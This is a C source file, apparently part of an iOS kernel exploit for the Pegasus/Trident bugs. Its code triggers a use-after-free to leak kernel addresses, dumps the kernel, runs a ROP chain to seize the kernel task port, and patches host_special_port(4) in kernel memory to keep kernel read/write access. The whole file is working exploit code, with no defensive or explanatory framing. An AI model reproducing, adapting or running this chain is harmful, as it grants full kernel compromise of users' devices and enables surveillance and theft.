exploit.c

#include <errno.h>              // errno
#include <stdbool.h>            // bool
#include <stddef.h>             // size_t
#include <stdio.h>              // FILE, fopen, fwrite, fclose
#include <string.h>             // strerror

#include <mach/kern_return.h>   // kern_return_t, KERN_SUCCESS
#include <mach/mach_error.h>    // mach_error_string
#include <mach/mach_init.h>     // mach_task_self
#include <mach/mach_types.h>    // task_t
#include <mach/vm_map.h>        // vm_read_overwrite, vm_write
#include <mach/task.h>          // task_get_special_port
#include <mach/task_special_ports.h> // TASK_*

#include "common.h"             // DEBUG
#include "io.h"                 // OSString, kOSStringNoCopy
#include "rop.h"                // get_stack_pivot, rop_*
#include "offsets.h"            // off_init, offsets
#include "slide.h"              // get_kernel_slide
#include "try.h"                // THROW
#include "uaf_read.h"           // uaf_get_bytes
#include "uaf_panic.h"          // uaf_panic_leak_DATA_const_base, uaf_panic_leak_vtab
#include "uaf_rop.h"            // uaf_rop, uaf_rop_stack

#include "exploit.h"

void panic_leak(void)
{
#ifdef __LP64__
    uaf_panic_leak_vtab();
#else
    uaf_panic_leak_DATA_const_base();
#endif

    THROW("Failed to panic the device. Are you sure your iOS version is vulnerable to Pegasus/Trident?");
}

void dump_kernel(const char *path)
{
    DEBUG("Dumping kernel to file");

    file_t kernel;
    uaf_dump_kernel(&kernel);
    FILE *f = fopen(path, "wb");
    if(f == NULL)
    {
        free(kernel.buf);
        THROW("Failed to open output file (%s)", strerror(errno));
    }
    fwrite(kernel.buf, 1, kernel.len, f);
    fclose(f);
    free(kernel.buf);

    DEBUG("Wrote output to %s", path);
}

task_t get_kernel_task(const char *dir)
{
    static task_t kernel_task = MACH_PORT_NULL;
    if(kernel_task == MACH_PORT_NULL)
    {
        // Before we do anything else
        addr_t *chain = uaf_rop_stack(),
               *head  = chain;

        // Initialize offsets
        off_init(dir);

        // Build ROP chain
        rop_get_kernel_task(&head, &kernel_task);

        // Print ROP chain
        DEBUG("Rop chain: " ADDR "-" ADDR, (addr_t)chain, (addr_t)head);
        for(addr_t *frame = chain; 1; frame = (addr_t*)frame[0])
        {
            DEBUG("fp: " ADDR, frame[0]);
            DEBUG("lr: " ADDR, frame[1]);
            if(!(frame[0] >= (addr_t)chain && frame[0] < (addr_t)head))
            {
                break;
            }
            for(addr_t *reg = &frame[2]; (addr_t)reg < frame[0]; ++reg)
            {
                DEBUG("    " ADDR, *reg);
            }
    #ifdef __LP64__
            DEBUG("----------------------");
    #else
            DEBUG("--------------");
    #endif
        }

        // Run ROP chain
        TRY
        ({
            uaf_rop();
        })
        CATCH(e,
        {
            DEBUG("TODO: fix ROP to return 0");
        })

        if(!MACH_PORT_VALID(kernel_task))
        {
            THROW("Failed to get kernel task (%x)", kernel_task);
        }
        DEBUG("Got kernel task");
    }
    return kernel_task;
}

bool patch_host_special_port_4(task_t kernel_task)
{
    DEBUG("Installing host_special_port(4) patch...");

    addr_t *special = (addr_t*)offsets.slid.data_realhost_special;
    vm_address_t kernel_task_addr,
                 kernel_self_port_addr,
                 old_port_addr;
    vm_size_t size;
    kern_return_t ret;

    // Get address of kernel task
    size = sizeof(kernel_task_addr);
    ret = vm_read_overwrite(kernel_task, (vm_address_t)offsets.slid.data_kernel_task, sizeof(kernel_task_addr), (vm_address_t)&kernel_task_addr, &size);
    if(ret != KERN_SUCCESS)
    {
        THROW("Failed to get kernel task address: %s", mach_error_string(ret));
    }
    DEBUG("Kernel task address: " ADDR, (addr_t)kernel_task_addr);

    // Get address of kernel task/self port
    size = sizeof(kernel_self_port_addr);
    ret = vm_read_overwrite(kernel_task, kernel_task_addr + offsets.unslid.off_task_itk_self, sizeof(kernel_self_port_addr), (vm_address_t)&kernel_self_port_addr, &size);
    if(ret != KERN_SUCCESS)
    {
        THROW("Failed to get kernel task port address: %s", mach_error_string(ret));
    }
    DEBUG("Kernel task port address: " ADDR, (addr_t)kernel_self_port_addr);

    // Check if realhost.special[4] is set already
    size = sizeof(old_port_addr);
    ret = vm_read_overwrite(kernel_task, (vm_address_t)(&special[4]), sizeof(old_port_addr), (vm_address_t)&old_port_addr, &size);
    if(ret != KERN_SUCCESS)
    {
        THROW("Failed to read realhost.special[4]: %s", mach_error_string(ret));
    }
    if(old_port_addr != 0)
    {
        if(old_port_addr == kernel_self_port_addr)
        {
            DEBUG("Patch already in place, nothing to do");
            return false;
        }
        else
        {
            THROW("realhost.special[4] has a valid port already");
        }
    }

    // Write to realhost.special[4]
    ret = vm_write(kernel_task, (vm_address_t)(&special[4]), (vm_address_t)&kernel_self_port_addr, sizeof(kernel_self_port_addr));
    if(ret != KERN_SUCCESS)
    {
        THROW("Failed to patch realhost.special[4]: %s", mach_error_string(ret));
    }

    DEBUG("Successfully installed patch");
    return true;
}